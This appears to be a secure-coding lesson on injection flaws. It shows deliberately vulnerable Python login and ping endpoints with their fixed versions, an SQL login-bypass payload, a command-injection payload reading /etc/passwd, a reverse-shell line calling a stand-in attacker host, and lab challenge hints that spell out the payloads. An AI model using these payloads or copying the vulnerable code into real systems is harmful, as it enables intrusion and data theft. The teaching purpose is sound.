Injection
Theory
Injection dropped from #1 (2017) to #3 (2021) as parameterized queries became standard, but it remains one of the most dangerous vulnerability classes. It occurs when untrusted data is sent to an interpreter as part of a command or query. The interpreter (SQL engine, OS shell, LDAP server, XML parser) has no way to distinguish code from data, so attacker-supplied input is executed as code.
Types of Injection
- SQL Injection โ unsanitised user input inserted directly into SQL queries. Can bypass authentication, dump entire databases, update/delete rows, or (in some DBs) execute OS commands
- Command Injection โ user input passed to an OS shell function (
os.system,subprocess.Popen(..., shell=True), PHPexec()). Full remote code execution (RCE) - LDAP Injection โ user input embedded in LDAP filter strings without escaping
- XPath/XML Injection โ user input in XPath queries or XML parsers
- SSTI (Server-Side Template Injection) โ user input rendered inside a template engine (Jinja2, Twig); can lead to RCE
- Second-Order SQL Injection โ malicious payload stored safely, then later used in a vulnerable query without re-sanitisation
Vulnerable SQL Injection Code
# VULNERABLE โ string concatenation builds the SQL query
@app.post("/login")
def login(username: str = Form(), password: str = Form()):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
user = db.execute(query).fetchone() # untrusted input runs inside the SQL engine!
if user:
return {"token": create_token(user)}
How the SQL Injection Attack Works
# Normal query with username="alice" and password="alice123": SELECT * FROM users WHERE username = 'alice' AND password = 'alice123' # Attack payload username: ' OR 1=1 -- # Attack payload password: anything # Resulting query: SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'anything' # ^^^^^^^^ # -- comments out the password check, OR 1=1 is always true -> returns first row (admin)
Vulnerable Command Injection Code
# VULNERABLE โ shell=True with unsanitised user input = RCE
import subprocess
@app.get("/ping")
def ping(host: str):
result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
return {"output": result.stdout}
How the Command Injection Attack Works
# Normal request: GET /ping?host=8.8.8.8 โ ping -c 1 8.8.8.8 # Attack payload: 127.0.0.1; cat /etc/passwd GET /ping?host=127.0.0.1;cat+/etc/passwd # Resulting shell command: ping -c 1 127.0.0.1; cat /etc/passwd # ^^^^^^^^^^^^^^^^^^ second command executes as the application user # RCE escalation: get a reverse shell 127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Fixed Code
# FIXED (SQL) โ parameterized query; the DB driver separates code from data
from sqlmodel import select
def login(username: str, password: str):
user = db.exec(
select(User).where(User.username == username) # ORM builds parameterized query
).first()
if user and verify_password(password, user.password_hash): # compare hash
return create_token(user)
# FIXED (Command) โ never use shell=True; pass args as a list
import subprocess, re
def ping(host: str):
if not re.match(r'^[\w.\-]{1,253}$', host): # strict allowlist validation
raise HTTPException(400, "Invalid host")
result = subprocess.run(
["ping", "-c", "1", host], # list form โ no shell involved, no injection possible
capture_output=True, text=True, timeout=5
)
return {"output": result.stdout}
Real-World Breaches
- Heartland Payment Systems (2008) โ SQL injection led to 130 million credit card records stolen; $140M in penalties
- TalkTalk (2015) โ SQL injection on an unpatched page exposed 157,000 customer records; ยฃ400K fine under the UK Data Protection Act
- Equifax (2017) โ CVE-2017-5638 (Apache Struts OGNL injection); 147 million records leaked including SSNs and credit history
- Accellion (2021) โ SQL injection + OS command injection in a file-transfer appliance; used to attack dozens of organisations including banks and universities
How to Fix โ Checklist
- Parameterized queries / ORMs โ always use prepared statements or an ORM that parameterizes automatically. Never build queries with string formatting
- Never use shell=True โ pass commands as a list to
subprocess.run; consider a dedicated library instead of shelling out - Input validation โ allowlists โ reject anything that doesn't match the expected format (IP, hostname, filename). Blocklists of "bad characters" are always incomplete
- Least privilege โ the database user should have only SELECT/INSERT on specific tables; no DROP, no FILE, no EXECUTE
- WAF & SAST โ static analysis (Semgrep, Bandit) catches string-concatenated queries at commit time; a WAF adds a runtime layer
Challenge 1
SQL Injection โ Login Bypass
The login form builds an SQL query by string concatenation. Inject SQL to bypass authentication and log in as admin.
Hint
Try username:
' OR 1=1 -- with any password.
Challenge 2
Command Injection โ Network Ping Tool
A ping utility passes user input directly to the OS shell. Inject a command to read the flag file.
Hint
Try:
127.0.0.1; cat /app/cmdi_flag.txt